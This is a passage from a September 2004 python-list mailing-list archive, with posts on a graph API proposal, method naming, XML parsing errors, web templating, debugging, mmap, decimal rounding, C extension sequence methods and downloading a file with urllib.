think it would be quite perfect. One possibility would be to use the
functionality of PyProtocols, but that's hardly standard... But it
would allow you to do stuff like

  graph = AdjacencyMap(someStrangeMolecularGraph)
  # or graph = adapt(someStrange..., AdjacencyMap)
  graphAlgorithm(graph)

or the like...

We could then have a few different perspectives on graphs, such as
adjmap, incmap, adjarray and edgelist, for example.

Just loose thoughts.

An adjacency map would work just like a dict of lists (or something
equivalent) and a dict of list could be used as one -- except,
perhaps, for some "advanced" features which would be optional.
(Modifying the graph is a bit awkward with this syntax, especially as
you have to know whether the adjacency collection is a list or a set,
for example.)

>David Eppstein wrote:
>> I would strongly prefer not to have weights or similar attributes as 
>> part of a graph API.  I would rather have the weights be a separate dict 
>> or function or whatever passed to the graph algorithm.  The main reason 
>> is that I might want the same algorithm to be applied to the same graph 
>> with a different set of weights.
>
>An alternative, which is both intriguing and sends alarm bells
>ringing

Sounds like a fun combination ;)

>in my head is to have the algorithm
>collection instead generate code as needed, so that
>I can ask for, say, "depth first search using '.atoms'
>to get a list of neighboring nodes."

Wouldn't it be *much* better to use the established (but not standard)
mechanism of object adaptation, as championed in PEP 246 and as
implemented and extended upon in PyProtocols?

Note that we could certainly do with *only* the PEP 246 mechanism
(perhaps with some minor updates to the PEP) *without* PyProtocols, if
we wanted a more minimalist solution.

(If only adapt() could become a standard library function... <sigh> ;)

>The result could exec'ed to generate usable Python dynamically, or
>written to a file to be used as a normal Python module.

See above -- adapt() would be much better IMO, and would fill the same
need (as I see it).

[snip]

>There would need to be some standards on how the graph is used, like
>"two nodes are the same iff 'node1 is node2'"

Yeah. Or one might want to allow equality to determine this, so that
the implementer could decide how to do it (nodes might be dynamically
created front-end objects after all).

>or "the result of getting the list of edges is iterable."

Right -- that's typically the kind of API definition I'm after.

Basically what I was proposing is a sort of "Python Graph API" in the
same vein as the "Python DB API" (PEP 249), that is, simply an
informative PEP about how graphs should behave to ensure
interoperability, possibly with some standard wrapper functions (or
maybe not).

[snip]

It seems there are at least a few people who are interested in the
general concept, though. In case there is any merit in the idea, I've
set up a temporary wiki at

  http://www.idi.ntnu.no/~mlh/python-graph-wiki.cgi

I'll post a separate announcement about it.

-- 
Magnus Lie Hetland       The time you enjoy wasting is not wasted time
http://hetland.org                                  -- Bertrand Russel


From andymac at bullseye.apana.org.au  Fri Sep  3 19:15:56 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 4 Sep 2004 09:15:56 +1000 (EST)
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <opsdq5katd35jo5o@news.gmane.org>
References: <opsdq5katd35jo5o@news.gmane.org>
Message-ID: <20040904090604.H11137@bullseye.apana.org.au>

On Fri, 3 Sep 2004, Marco Aschwanden wrote:

> sort() works in-place.
> reverse() works in-place.
>
> The past tense of sort() indicates that a copy of the sequence is returned.
> The past tense of reverse() indicates that an iterator over the original
> sequence is returned.

This may be a language nuance, but neither "sort" nor "reverse" are past
tense - they are verbs, which imply an action.  In this sense they are
totally appropriate as method names for inplace operations, as they
signify actions applied to the object.

"sorted" and "reversed" have past tense.  As I recall, there was some
discussion on the python-dev mailing list on names for these methods for
the non-inplace versions of these operations; these were the outcome.

There is no chance before Python 3000 that sort() and reverse() will
change name - there is too much code to break.

-------------------------------------------------------------------------
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen ACT 2616
Web:    http://www.andymac.org/               |        Australia


From noone at here.com  Thu Sep 16 18:49:45 2004
From: noone at here.com (M. Clift)
Date: Thu, 16 Sep 2004 23:49:45 +0100
Subject: All together now, I'm a lumberjack
Message-ID: <cid579$uds$1@newsg2.svr.pol.co.uk>

Hi All,

Does anyone know of any python stuff related to music notation for windows?
I'd eventually like to write some sort of notation program myself, but I am
at a loss at knowing where to start.

Would anyone know, do all notation programs work in a similar way to display
music, and could someone give me an idea as to how they go about it.

Thanks




From abra9823 at mail.usyd.edu.au  Tue Sep  7 10:45:12 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Wed,  8 Sep 2004 00:45:12 +1000
Subject: minidom parse error
Message-ID: <1094568312.413dc9780c8d7@www-mail.usyd.edu.au>

hi!

i am parsing the attached document.
the code is
parser = make_parser('xml.sax.drivers2.drv_xmlproc')
ruleSet = parse(ruleSetFile, parser=parser)

i am using python2.3.4 with PyXML version 0.8.1

i get the following error

Traceback (most recent call last):
  File "evaluator.py", line 59, in ?
    ea = ae.evaluate("complywitheudirective.xml", "policy-eg1.xml", 0)
  File "evaluator.py", line 22, in evaluate
    ruleSet = parse(ruleSetFile, parser=parser)
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line 1912,
in pa
rse
    {'parser': parser, 'bufsize': bufsize})
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\minidom.py", line 1899,
in _d
o_pulldom_parse
    toktype, rootNode = events.getEvent()
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 265,
in get
Event
    self.parser.feed(buf)
  File
"C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", lin
e 96, in feed
    self._parser.feed(data)
  File
"C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlutils.py", lin
e 332, in feed
    self.do_parse()
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py",
line
 93, in do_parse
    self.parse_start_tag()
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py",
line
 197, in parse_start_tag
    self.app.handle_start_tag(name,attrs)
  File
"C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py", lin
e 368, in handle_start_tag
    AttributesNSImpl(attrs, rawnames))
  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98, in
star
tElementNS
    prefix = self._current_context[a_uri]
KeyError: u'http://www.w3.org/2001/02/appelv1'


any ideas why?

thanks
cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: complywitheudirective.xml
Type: text/xml
Size: 2973 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/070ff205/attachment.xml>

From JSmuts at clover.co.za  Wed Sep  8 01:29:11 2004
From: JSmuts at clover.co.za (Jaco Smuts)
Date: Wed, 8 Sep 2004 07:29:11 +0200
Subject: Simple Web Templating system with execution in templates
In-Reply-To: <reisap7tha.fsf@random-node.example.org>
Message-ID: <OFF900FB6D.949767BB-ON42256F09.001D8FED-42256F09.001E238A@clover.co.za>

Hello Chris

I've looked into various web relating frameworks for Python, unfortunately 
(to my mind) it seems to be in a bit of disaray; however I've decided to 
opt for mod_python alone. It includes psp (similair to asp, php, jsp). 
This article discusses how these can be used to implement a templating 
system that doesn't even break the model-view-controller paradigm (that 
much): 
http://www.onlamp.com/pub/a/python/2004/02/26/python_server_pages.html

There's also a sample psp site (availabe from the main mod_python site) 
that more or less implements this approach.

What I like most about using this (admittedly I have only started down 
this road) is that I write Python code and not some or  other derrivative.


good luck
jaco







Chris Stiles <to83-t7cw at spamex.com>
Sent by: python-list-bounces+jsmuts=clover.co.za at python.org
09/07/2004 09:46 PM
 
        To:     python-list at python.org
        cc: 
        Subject:        Simple Web Templating system with execution in 
templates



Hi --

Does anyone have any recommendations for simple web templating systems for
python that also allow execution of python code within the the templates
themselves ?

So far I'm using Albatross, and it's nice, though it would be nicer still 
if
it had proper support for 'code tags' ala <? ?>.

-- 
regards, chris
-- 
http://mail.python.org/mailman/listinfo/python-list

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/59943f77/attachment.html>

From ialbert at mailblocks.com  Thu Sep 23 23:31:32 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 23 Sep 2004 23:31:32 -0400
Subject: Design recommendation wanted.
In-Reply-To: <o%I4d.28851$bL1.1167813@news20.bellglobal.com>
References: <o%I4d.28851$bL1.1167813@news20.bellglobal.com>
Message-ID: <Q4GdnYUa09WPCM7cRVn-sA@giganews.com>

Yannick Turgeon wrote:

> With this solution, I will get lost very soon. I feel that I would need a
> kind of State-Managing system/class that would keep track of the command

It would simplify your life if you dealt with
the problems (that can be dealt with) on the spot, as they
happen. Don't use the exceptions as a mechnism to jump out of a
block of code. This is so much easier to follow:

if packet_type == ERROR1:
    ...deal with it..
elif packet_type == ERROR2:
    ...deal with it ...
else:
   try:
      c = PACKETS[packet_type](data)
   except ...:
      ...deal with this


You don't have to have to put your code in one try/except
block. This only depens on the nature of the response that
you want to invoke when an exeption occurs. Feel free to nest them
as needed. Keep the error and the response to it as one logical
entity as much as possible.

Istvan.



From danperl at rogers.com  Tue Sep 28 16:27:28 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 16:27:28 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com>
	<WZydndBk-MS_OMTcRVn-ug@rogers.com> <u655yi527.fsf@fitlinxx.com>
Message-ID: <d_mdnXKL0cmpVMTcRVn-jA@rogers.com>


"David Bolen" <db3l at fitlinxx.com> wrote in message 
news:u655yi527.fsf at fitlinxx.com...
> ...................
> Even if you do have a console showing exceptions, not all exceptions
> are cleanly reproduceable or predictable.  I may have code that
> typically runs just great, but that occasionally generates an
> exception.  Breakpoints may not work if the code runs many times
> successfully before failing (due to varieties in calling parameters at
> runtime).  Perhaps a watchpoint might work but you'd have to know
> enough about the failure to establish the watchpoint parameters.
>
> Instead, with Wing, just start it up, let it run (or if you need to,
> run it independently of Wing but with the stub loaded) until the
> exception occurs.  No hassles or up front work.

Okay, I can see this point.  The idea of the loaded stub sounds especially 
interesting because you can just run the application normally, independent 
of an IDE.  In my experience with sporadic problems like the ones you are 
describing, debuggers are usually not much help, except after the fact, for 
instance debugging a core of a C/C++ program.  If the problem is caused by a 
race condition, a debugger can be useless because it affects the scheduling 
of threads.  How does the loaded stub work in cases like that?  Does it 
affect threads in any way?

>> The false positive that I encountered was indeed in 'sre', invoked by
>> pickle.  I think it was an IndexError which should be a normal thing if 
>> they
>> are using it to stop at the end of an iteration.  So I'm not convinced 
>> this
>> would constitute "minimal" false positives.
>
> Did you get any others?  I was talking "minimal" in terms of volume,
> not necessarily significance (which may be more subjective).  I didn't
> have much of an issue choosing to ignore the sre case (after which it
> never showed up again for my project).

It was the only one.  My point was that even just this particular exception 
should happen very often.  So even volume, not only significance, is 
relative.  I, for one, was not comfortable ignoring an exception, especially 
without a very clear and detailed explanation on why the false positive 
happened in the first place and what happens with the exception if I ignore 
it.

> (...)
>> I would need to first see an example of generating an exception without
>> knowing it and that exception still being relevant although it is being
>> handled.
>
> I'd split that into two parts - (a) generating the exception without
> knowing it, and (b) it being relevant even if handled.
>
> For (a), I can't seem to come up with a good concise example, so maybe
> I'll just agree that you may know about, but not be able to act on it
> in a useful fashion.  (The cases I was thinking of were GUI apps
> without a console, or apps generating output where a traceback might
> be missed, but I can come up with reasonable solutions in those cases
> if you knew you were looking for an exception, so I'm willing to bet
> you can too.  The other case was with a locally developed extension, but
> that's susceptible to the argument of just fixing the local extension :-))
>
> Note however, that knowing about it in many cases may only be through
> a stderr traceback, so to know it other than manually inspecting it at
> runtime would require trapping stderr in general and logging that
> somewhere, and then having something to recognize tracebacks in that
> log.
>
> (b) is certainly possible though, although at the risk of overuse I'll
> fall back to wxPython again.  In wxPython any exception that occurs in
> an event handler will be handled by the wxPython extension, and is
> thus invisible to top level code.  So if you have an exception in an
> event handler, it interrupts the exception handler, which presumably
> no longer does what it is supposed to, so that's relevant.  The
> exception will not, however, stop the application, nor bubble up to
> any top level application exception handler.  The only place you'd see
> an indication of it would be in the traceback to stderr - your
> application has no opportunity to handle it otherwise (unless you have
> exception handlers in each individual event handler).
>
> Now in normal operation that's actually a very attractive part of
> wxPython.  By and large you can create problems, and the application
> keeps running.  Perhaps one element of the GUI might not react
> properly or some button won't work, but the application survives.  But
> when trying to troubleshoot that problem, it's often most convenient
> to interact with the application as a user until the problem occurs,
> letting the debugger simply catch things at the point when it happens.

You're making a very good case, assuming that the exception is at the root 
of the problem.  However, it's hard to say how many such problems are caused 
by an exception.  Even if there is an exception, the root problem may be way 
before that and you still have to go and do some normal debugging.  So many 
times I've had memory corruption crashing an application in C++ and I had to 
look back at a method that was called WAY BEFORE the crash because that was 
usually corrupting memory at exit.

So, in your example of a button, my general debugging approach would still 
be to put a breakpoint in the event handler of the button, because the root 
of the problem can be so many different things.

In your experience with Python, what percentage of problems manifested 
themselves with exceptions (especially right at the root of the problem) as 
opposed to simply flawed logic that gets through without any exceptions?

I think we are actually very much agreeing.  The main difference between us 
is how much weight we put in debugging exceptions versus debugging all kinds 
of problems and how much we are willing to put up with in exchange for that 
precious advantage in a few cases.

You are saying a solid debugger "can be worth its weight in gold".  How much 
does Wing IDE weigh?   ;-)

Dan

> -- David 




From bvande at po-box.mcgill.ca  Thu Sep 16 11:56:35 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Thu, 16 Sep 2004 11:56:35 -0400
Subject: python: ascii read
In-Reply-To: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
	<1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>
Message-ID: <4149B7B3.4000607@po-box.mcgill.ca>

Alex Martelli said unto the world upon 2004-09-16 07:22:
> Sebastian Krause <canopus at gmx.net> wrote:
> 
> 
>>Hello,
>>
>>I tried to read in some large ascii files (200MB-2GB) in Python using
>>scipy.io.read_array, but it did not work as I expected. The whole idea
>>was to find a fast Python routine to read in arbitrary ascii files, to
>>replace Yorick (which I use right now and which is really fast, but not
>>as general as Python). The problem with scipy.io.read_array was, that it
>>is really slow, returns errors when trying to process large files and it
>>also changes (cuts) the files (after scipy.io.read_array processed a 2GB
>>file its size was only 64MB).
>>
>>Can someone give me hint how to use Python to do this job correctly and
>>fast? (Maybe with another read-in routine.)
> 
> 
> If all you need is what you say -- read a huge amount of ASCII data into
> memory -- it's hard to beat
>     data = open('thefile.txt').read()
> 
> mmap may in fact be preferable for many uses, but it doesn't actually
> read (it _maps_ the file into memory instead).
> 
> 
> Alex

Hi all,

[neophyte question warning]

I'd not been aware of mmap until this post. Looking at the Library 
Reference and my trusty copy of Python in a Nutshell, I've gotten some 
idea of the differences between using mmap and the .read() method on a 
file object -- such as it returns a mutable object vs an immutable 
string, constraint on slice assignment that len(oldslice) must be equal 
to len(newslice), etc.

But I don't really feel I've a handle on the significance of saying it 
maps the file into memory versus reading the file. The naive thought is 
that since the data gets into memory, the file must be read. But this 
makes me sure I'm missing a distinction in the terminology. Explanations 
and pointers for what to read gratefully received.

And, since mmap behave differently on different platforms, I'm mostly a 
win32 user looking to transition to Linux.

Best to all,

Brian vdB



From tzot at sil-tec.gr  Wed Sep 22 13:08:21 2004
From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou)
Date: Wed, 22 Sep 2004 20:08:21 +0300
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<1l23l01tkbhssc4uh72fps5u9o6ijc2t4f@4ax.com>
	<1gkj1fd.1s0j05667twjjN%aleaxit@yahoo.com>
Message-ID: <f5c3l0lg13iredahn7l0d54c27ojoumn9l@4ax.com>

On Wed, 22 Sep 2004 18:35:44 +0200, rumours say that aleaxit at yahoo.com
(Alex Martelli) might have written:

>> Run it with Python 2.4.  See what goes wrong?  Put the numbers in an
>> Excel sheet too.
>
>The problem is pretty clear, but it shows up with decimal just as well
>as with float: each of 'amount' and 'vat' (in Euro) has a fraction of a
>eurocent that is less than 0.5 (about 0.4 eurocents each), and you don't
>round them to eurocents before summing, so the total ends up with a
>fraction of a eurocent that is _more_ than 0.5.  So the final numbers
>show, identically badly with both decimals and floats:

Oops! yes, this shows my inexperience with the decimal type; in my
session, the results were correct since I had earlier issued (after
trial and error) a

decimal.getcontext().prec=6

which I didn't include my post (forgetting about its importance).
Hence, you are correct saying that my confidence in the Decimal type
should not be absolute.
-- 
TZOTZIOY, I speak England very best,
"Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek


From me at privacy.net  Sun Sep 26 15:52:21 2004
From: me at privacy.net (Richard Hanson)
Date: Sun, 26 Sep 2004 12:52:21 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>	<du78yayby1a.fsf@mozart.cc.tut.fi>	<cj4ul0$nt5$1@sea.gmane.org>	<mailman.3916.1096160356.5135.python-list@python.org>	<oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com>
	<mailman.3920.1096177284.5135.python-list@python.org>
	<RTt5d.10217$gG4.7808@newsread1.news.pas.earthlink.net>
Message-ID: <h02el05urfc16o6vv90ekka89jfch6eagk@4ax.com>

Andrew Dalke wrote:

> > Richard Hanson wrote:
> >> But, but... How can *QM* be the ultimate framework? -- it doesn't
> >> include gravity (GR).
> 
> Stephen Waterbury wrote:
> > Touche!  OK, modulo superstrings.  :)
> 
> There are many quantum mechanics models.  The original
> one, the Schr?dinger equation, was extended to relativity
> with the Klein-Gordon equation, thence refined to
> quantum eletrodynamics (QED) to include the weak for
> and quantum chromodynamics (QCD) to include the strong
> force.

I've heard of these strange things a very *wee* bit. :-)

> All of these are quantum mechanics, as is string
> theory, *-branes, and many others, including many
> known to be non-physical.  Superstrings is an attempt
> to be a quantum theory that includes gravity.

I *almost* kinda knew that, too, sorta. :-)

> The confusion you two had is that our current best
> description of the universe is called the Standard
> Model and it's often assumed that the Standard Model
> is identical to being QM, as compared to only be *a*
> quantum mechanical model.

*Had*?! -- Hell, I'm *still* extremely confused! ;-)

Note that as I've alluded to, sometimes even explicitly stated, I'm a
generalist with only a few areas of deeper knowledge. Cosmology,
particle physics, and the like are decidedly *not* areas wherein I
have even a hobbyist's level of knowledge. About the only thing I know
about such is that laymen (myself *decidedly* included) don't know
much about such. ;-) 

(I learned a long time ago of an estimation of the amount of time and
study it would take for a layman to get even slightly up to speed on
these topics -- could be a decade or more if one *only* concentrated
on these subjects. So, I decided to remain a layman concerning these
areas -- life is too short, and all -- but who would, nonetheless,
continue reading about these and many other fascinating domains.)

I've heard of the Standard Model, the Copenhagen and Wheeler's "many
worlds" interpretations of such, Kaluza-Klein, "hidden-variables
theories" (Wheeler, Bohm, both? -- others, I presume), and other
phrases of the like. But, I *gladly* grant my confusion and ignorance,
and *do* appreciate your kindly edification -- I realize that knowing
of "buzz words" does *not* imply understanding of such. :-)

Again, I'm only an autodidact, so most assuredly, there are *major*
holes in my education. :-)

> >> Likewise, in QM it seems that a robot taking measurements is
> >> sufficient to "collapse the wave function." Of course, you could also
> >> argue that robots are people, too. ;-)
> 
> There was an interesting paper a month or two back,
> forgot where, which showed how the length of time for
> superposition was a function of temperature.  The
> hotter it was the shorter the time, because there
> were more photons interacting with the environment.
> 
> No active "taking measurements needed" -- only interaction
> with the passive environment.  Though I didn't read
> the article that closely.  I mostly looked at the
> picture.

Wow! Fascinating -- stranger and stranger (as someone may have said).

> I also read something recently about a proposed
> experiment that might distinguish between a couple
> of the standard philosophical interpretations of
> QM.  About all I recall is that the granddaughter
> of one of the early 20th century physicists (Bohr?
> Schr?dinger? Heisenberg?) was involved.

Again, very interesting! 

Thanks for your further help to ameliorate my very limited knowledge
of the field (as it were). Much appreciated!

---

[Note: I am having equipment and connectivity problems. I'll be back
as I can when I get things sorted out better, and as appropriate (or
inappropriate ;-) ). Thanks to you and to all for the civil
and fun discussions!]


thanks!--a-man's-gotta-know-his-limitations'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From janimal at mail.trillegaarden.dk  Tue Sep 28 11:04:28 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Tue, 28 Sep 2004 17:04:28 +0200
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
	<415976d1$0$23090$ba624c82@nntp05.dk.telia.net>
	<10liubfprlt4g9d@corp.supernews.com>
Message-ID: <41597d62$0$23054$ba624c82@nntp05.dk.telia.net>

So this code should work:

indput = raw_input(" Tell me the number you want to transform to textuel 
representaion")
try:
    indput = str(int(indput))
except ValueError:
    print "No, you need to give me an integer."

List = 
{1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"}
output = []
for character in indput:
  output.append(List[character])
  print ', '.join(output)

I read it like this first output is an empty list, then for each character 
in the input it will be run through the "List" and when it find the number 
it will apend it to the output, and in the last print line it will join the 
output ( if there has been more than one number) and print it-

But if I run the program and type in the number 34 I get the error:

Traceback (most recent call last):
  File "C:/Python23/taltilnumre.py", line 10, in -toplevel-
    output.append(List[character])
KeyError: '3'

How can that be, it looks right to me ...

Thanks


"Jeffrey Froman" <jeffrey at fro.man> wrote in message 
news:10liubfprlt4g9d at corp.supernews.com...
> Ling Lee wrote:
>
>> After I have gotten the lenght of the string, I will write a loop, that
>> goes through the dictionary as many times as the lengt of the string, and
>> the gives me the corresponding numbers, the numner 21 would go 2 times
>> through the loop and give me the output two one.
>
> There is no need to count the length. You can iterate over each character 
> in
> a Python string (or other object) without first calculating the size of 
> the
> loop, like so:
>
> output = []
> for character in indput:
> output.append(List[character])
> print ', '.join(output)
>
> As Russel pointed out, you'll have to iterate over indput as as a 
> string --
> not convert it to an integer first, because you can't iterate over an
> integer's digits, but you can iterate over a string's characters.
>
> Jeffrey 




From adalke at mindspring.com  Thu Sep 16 01:49:36 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 16 Sep 2004 05:49:36 GMT
Subject: Incrementing a string
In-Reply-To: <mailman.3390.1095303317.5135.python-list@python.org>
References: <pan.2004.09.15.22.08.19.894702@cox.net>
	<mailman.3390.1095303317.5135.python-list@python.org>
Message-ID: <QP92d.1662$0i5.579@newsread3.news.pas.earthlink.net>

Phil Frost wrote:
> import string
> 
> class LabelCounter(object):
>     digits = string.lowercase
   ....
>     # define other operators as needed; it's a shame this can't inherit from
>     # int and get these for free. It can't do this because all of int's
>     # operators return ints, not LabelCounters.

Try this instead.  As usual with clever solutions, you
probably shouldn't use this in real code.

import string

def fixup(klass):
   for name, meth in inspect.getmembers(klass):
     # Find all the methods except for a few special ones
     # we know won't return integers
     if (callable(meth) and name not in
         ["__class__", "__new__", "__init__", "__str__", "__repr__"]):

       # Need to make a wrapper function (g) for each of these methods.
       # The wrapper function needs to know the original method, which
       # is stored in the newly created scope (f).
       def f(meth = meth):
         def g(self, *args, **kwargs):
           retval = meth(self, *args, **kwargs)
           if isinstance(retval, int):
             return LabelCounter(retval)
           return retval
         return g
       g = f()
       setattr(klass, name, g)  # replace with the wrapped version

class LabelCounter(int):
   digits = string.ascii_lowercase
   def __str__(self):
     letters = []
     i = int(self)
     while i:
       d, m = divmod(i, len(self.digits))
       letters.append(self.digits[m])
       i = d
     return "".join(letters[::-1]) or self.digits[0]
   __repr__ = __str__


Here it is in use.

 >>> a = LabelCounter(4)
 >>> print a
e
 >>> print a+1
f
 >>> print a+10
o
 >>> print (a+10)/2
h
 >>> print a
e
 >>> print a/2
c
 >>> print a/3
b
 >>> print a/30
a
 >>> print a**4
jw
 >>>

> You can set 'digits' to any sequence at all. Set it to '01' to get
> output in binary, or to ['01','23','45','67','89'] to get base 5 in a
> very confusing notation *g*

I set it to ascii_lowercase since string.lowercase is locale
dependent.

 >>> import string, locale
 >>> string.lowercase
'abcdefghijklmnopqrstuvwxyz'
 >>> locale.setlocale(locale.LC_ALL, "de_DE")
'de_DE'
 >>> string.lowercase
'abcdefghijklmnopqrstuvwxyz\xaa\xb5\xba\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
 >>>

OTOH, that might be what you wanted ...

				Andrew
				dalke at dalkescientific.com


From drysdam at ll.mit.edu  Thu Sep 23 14:50:04 2004
From: drysdam at ll.mit.edu (David Rysdam)
Date: Thu, 23 Sep 2004 14:50:04 -0400
Subject: Python and Sybase
Message-ID: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>

What module is most recommended for accessing Sybase from Python?  This 
one: http://www.object-craft.com.au/projects/sybase/sybase/  ?

Also, is there any module that provides a generic DB API and can be 
hooked to both Sybase and postgresql?  This 
(http://www.python.org/peps/pep-0249.html) looks pretty old.


From jmlai at uci.edu  Fri Sep  3 00:23:49 2004
From: jmlai at uci.edu (Jason Lai)
Date: Thu, 02 Sep 2004 21:23:49 -0700
Subject: Modules are hashable?!
In-Reply-To: <4137ed92$1@news.unimelb.edu.au>
References: <2pld08Fm7mo8U1@uni-berlin.de>
	<1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com>
	<4137ed92$1@news.unimelb.edu.au>
Message-ID: <ch8rkp$ncp$1@news.service.uci.edu>

Maurice LING wrote:
> 
> The idea that I get from reading this thread is that objects that can be 
> type compared (comparing the contents) are not hashable, and they are 
> list, strings, tuples and dictionary. Is there any others that fall into 
> this category? Is there any way to make them hashable?

Well, strings and tuples are immutable, so they provide a hash function 
(since it's safe to hash them by contents; the contents are pointers 
that don't change.) Anything that provides a hash function can be 
hashed. You could theoretically create a new list type that works 
exactly like a normal list, but hashes based on ID.

> 
> Hashable objects, on the other hand, are hashed based on say, the 
> pointer address pointing the object or an identifier in the Python VM 
> symbol table or something. It's like to say that when you hash a human, 
> you get the name and not the physical dimensions of the person. The 
> person can grow fat or slim down, but the name is still the same.
> 
> Maurice

Heh, like giving every person a unique govt-assigned ID number. You 
could have two people who are exactly alike -- cloned atom-by-atom, or 
something -- but they wouldn't have the same ID. And the term "hashing" 
originates from chopping things up, so hashing humans wouldn't be a good 
idea :P

  - Jason Lai


From tmohr at s.netic.de  Fri Sep  3 12:42:01 2004
From: tmohr at s.netic.de (Torsten Mohr)
Date: Fri, 03 Sep 2004 18:42:01 +0200
Subject: Sequence Protocol, assign item
References: <ch81gl$avb$1@schleim.qwe.de>
	<m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk>
Message-ID: <cha6sp$bgb$1@schleim.qwe.de>

Hi,

thanks for that hint.  I already tried to get some hints from the sources
but at another place.

A) How it is done in Objects/listobject.c:

static int
list_ass_item(PyListObject *a, int i, PyObject *v)
{
        PyObject *old_value;
        if (i < 0 || i >= a->ob_size) {
                PyErr_SetString(PyExc_IndexError,
                                "list assignment index out of range");
                return -1;
        }
        if (v == NULL)
                return list_ass_slice(a, i, i+1, v);
        Py_INCREF(v);
        old_value = a->ob_item[i];
        a->ob_item[i] = v;
        Py_DECREF(old_value);
        return 0;
}

B) How i do it:

static int pytypeseq_ass_item(PyObject* s, int nr, PyObject* val) {
        int v;
        pytype_obj* self = (pytype_obj*)s;

        if(!PyArg_ParseTuple(val, "i", &v)) {
                return 0;
        }

        self->msg.d[nr] = v;
        /* if(nr > dlc && nr < 8) dlc = nr; */

        return 0;
}

In part A some INCREF/DECREF stuff is done, but i think i don't need
this as the PyObjects are only temporarily.

In the test script i use this:
#! /usr/bin/python

from pytype import *

m = PyType();
m.setContent(17, 22, 13);

print m[0], m[1], m[2];

m[0] = 12;

print m[0], m[1], m[2];


When i do it like this, i get:
C:\home\vc++\type\python>qwe.py
Exception exceptions.SystemError: 'new style getargs format but argument \
is not a tuple' in 'garbage collection' ignored

Fatal Python error: unexpected exception during garbage collection

#abnormal program termination


When i delete the line "m[0] = 12;" i do NOT get this error.


I don't really know what this message means, i think i don't correctly
handle the internal data structures somehow.

Has anybody got a hint for me?


Thanks,
Torsten.




From aleaxit at yahoo.com  Wed Sep 15 11:20:43 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 15 Sep 2004 17:20:43 +0200
Subject: Need script to download file at known address
References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com>
Message-ID: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com>

Radioactive Man <rm at rm.rm> wrote:

> I am fairly new to the latest verion of Python and using it on windows
> 95, 2000, and/or XP.  What libraries, modules, functions, etc. would I
> need to set up a Python script to download a file, say
> "htttp://www.sound.com/files/bob.wav" to my own hard drive at
> "c:\sound\bob.wav"?  

Something like:

import urllib
urllib.urlretrieve( "htttp://www.sound.com/files/bob.wav",
                           'c:/sound/bob.wav')

should be fine.

> I haven't found any good examples of such an operation in the
> documentation at the Python website.  Any suggestions are appreciated.

